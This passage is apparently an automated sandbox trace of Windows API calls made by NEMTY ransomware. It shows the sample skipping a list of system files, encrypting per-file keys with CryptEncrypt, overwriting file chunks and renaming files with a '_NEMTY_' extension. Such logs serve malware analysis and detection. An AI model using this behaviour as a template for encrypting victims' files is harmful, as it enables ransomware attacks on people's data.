(HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0064.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.270] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.271] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.377] CloseHandle (hObject=0xffffffff) returned 0 [0064.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0064.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0064.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0064.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0064.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0064.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.378] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png._nemty_kgobjgd_")) returned 0 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0064.378] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2=".") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="..") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="...") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="windows") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="$RECYCLE.BIN") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="rsa") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="NTDETECT.COM") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="ntldr") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="MSDOS.SYS") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="IO.SYS") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="boot.ini") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="boot.ini") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="AUTOEXEC.BAT") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="ntuser.dat") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="desktop.ini") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="CONFIG.SYS") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="RECYCLER") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="BOOTSECT.BAK") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="bootmgr") returned 1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="programdata") returned -1 [0064.378] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="appdata") returned 1 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="huemainsubpicture2.png", lpUsedDefaultChar=0x0) returned 22 [0064.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="huemainsubpicture2.png", lpUsedDefaultChar=0x0) returned 22 [0064.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0064.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="huemainsubpicture2.png", lpUsedDefaultChar=0x0) returned 22 [0064.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0064.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="huemainsubpicture2.png", lpUsedDefaultChar=0x0) returned 22 [0064.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0064.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0064.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0064.380] Sleep (dwMilliseconds=0x5) [0064.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda0770b0, dwHighDateTime=0x1d561e7)) [0064.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda0770b0, dwHighDateTime=0x1d561e7)) [0064.394] GetLastError () returned 0x5 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.395] GetLastError () returned 0x5 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0064.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.395] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0064.395] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="RffB+VE9AFuWEOJiTJ9mt7F1pblli8n5u1g/SIjaeQfFVc0b51KGHaxDUFqyGs82\r\nwYWbqoSATibPv4VdEuWVKw0PlkwFn8dWvftssECGtBX7csUWJG1WY+ziqpMJcPHN\r\nT0ymz7LU0pZLJLKBifjvENdQhzGaCyxOHUjf+G/FKFQA5XaoFFtgHHhppWfPbtoo\r\nrVTAocfUNGxQ8JdXJmyoEDaptjKGWz/t6w5hyHxdMuhIg7KxG8gPL7Km+cBoCxzI\r\nmHA4gRLvKStS5ao0C1SaSQ5ocO7eU2rl6vS+UM7VR+qZmKOVPQ5yNQ7gEkDwNNFj\r\niVj1rYJkwDljoyudPLR4fA==\r\n", pcchString=0x653e91c) returned 1 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0064.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.395] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.395] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.415] ReadFile (in: hFile=0xffffffff, 